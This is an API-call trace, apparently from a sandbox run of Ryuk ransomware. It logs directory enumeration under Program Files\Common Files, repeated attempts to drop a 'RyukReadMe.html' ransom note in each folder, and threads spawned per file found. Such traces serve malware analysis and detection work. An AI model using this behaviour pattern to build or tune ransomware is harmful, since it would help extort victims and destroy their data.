	[0168.116] SetLastError (dwErrCode=0x0) 
	[0168.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.116] GetLastError () returned 0x5
	[0168.116] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0168.116] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.117] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0168.117] FindClose (in: hFindFile=0x79ce0 | out: hFindFile=0x79ce0) returned 1
	[0168.117] SetLastError (dwErrCode=0x0) 
	[0168.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.117] GetLastError () returned 0x5
	[0168.117] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0168.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.118] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44bba10, ftCreationTime.dwHighDateTime=0x1d53bec, ftLastAccessTime.dwLowDateTime=0x3f9083d0, ftLastAccessTime.dwHighDateTime=0x1d5a1d1, ftLastWriteTime.dwLowDateTime=0x3f9083d0, ftLastWriteTime.dwHighDateTime=0x1d5a1d1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 1
	[0168.118] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0168.118] SetLastError (dwErrCode=0x0) 
	[0168.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.118] GetLastError () returned 0x5
	[0168.118] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0168.118] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79ce0
	[0168.119] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.120] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x5a, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0168.120] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0168.282] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.283] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x5a, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0
	[0168.283] FindClose (in: hFindFile=0x79ce0 | out: hFindFile=0x79ce0) returned 1
	[0168.283] SetLastError (dwErrCode=0x0) 
	[0168.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\services\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.284] GetLastError () returned 0x5
	[0168.284] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0168.284] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.284] FindNextFileW (in: hFindFile=0x79b60, lpFindFileData=0x26addf0 | out: lpFindFileData=0x26addf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1
	[0168.284] SetLastError (dwErrCode=0x0) 
	[0168.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.285] GetLastError () returned 0x5
	[0168.285] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26add38, lpOverlapped=0x0) returned 0
	[0168.285] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79ce0
	[0168.285] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.286] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0168.286] SetLastError (dwErrCode=0x0) 
	[0168.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.286] GetLastError () returned 0x5
	[0168.286] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0168.286] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0168.340] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.340] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1
	[0168.340] SetLastError (dwErrCode=0x0) 
	[0168.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.341] GetLastError () returned 0x5
	[0168.341] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0168.342] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.342] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8a, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0168.342] SetLastError (dwErrCode=0x0) 
	[0168.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.342] GetLastError () returned 0x5
	[0168.342] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0168.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0168.343] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.343] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x96, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1
	[0168.343] SetLastError (dwErrCode=0x0) 
	[0168.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.343] GetLastError () returned 0x5
	[0168.344] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac078, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac078, lpOverlapped=0x0) returned 0
	[0168.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x26aba00 | out: lpFindFileData=0x26aba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a3a0
	[0168.344] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26aba00 | out: lpFindFileData=0x26aba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.344] FindNextFileW (in: hFindFile=0x7a3a0, lpFindFileData=0x26aba00 | out: lpFindFileData=0x26aba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0168.344] FindClose (in: hFindFile=0x7a3a0 | out: hFindFile=0x7a3a0) returned 1
	[0168.345] SetLastError (dwErrCode=0x0) 
	[0168.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.345] GetLastError () returned 0x5
	[0168.345] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac078, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac078, lpOverlapped=0x0) returned 0
	[0168.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.345] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x96, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1
	[0168.345] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x96, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1
	[0168.345] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x96, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0
	[0168.345] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0168.346] SetLastError (dwErrCode=0x0) 
	[0168.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.346] GetLastError () returned 0x5
	[0168.346] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0168.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.346] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x8a, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1
	[0168.346] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x8a, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1
	[0168.347] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x8a, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1
	[0168.347] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x8a, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0
	[0168.347] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0168.347] SetLastError (dwErrCode=0x0) 
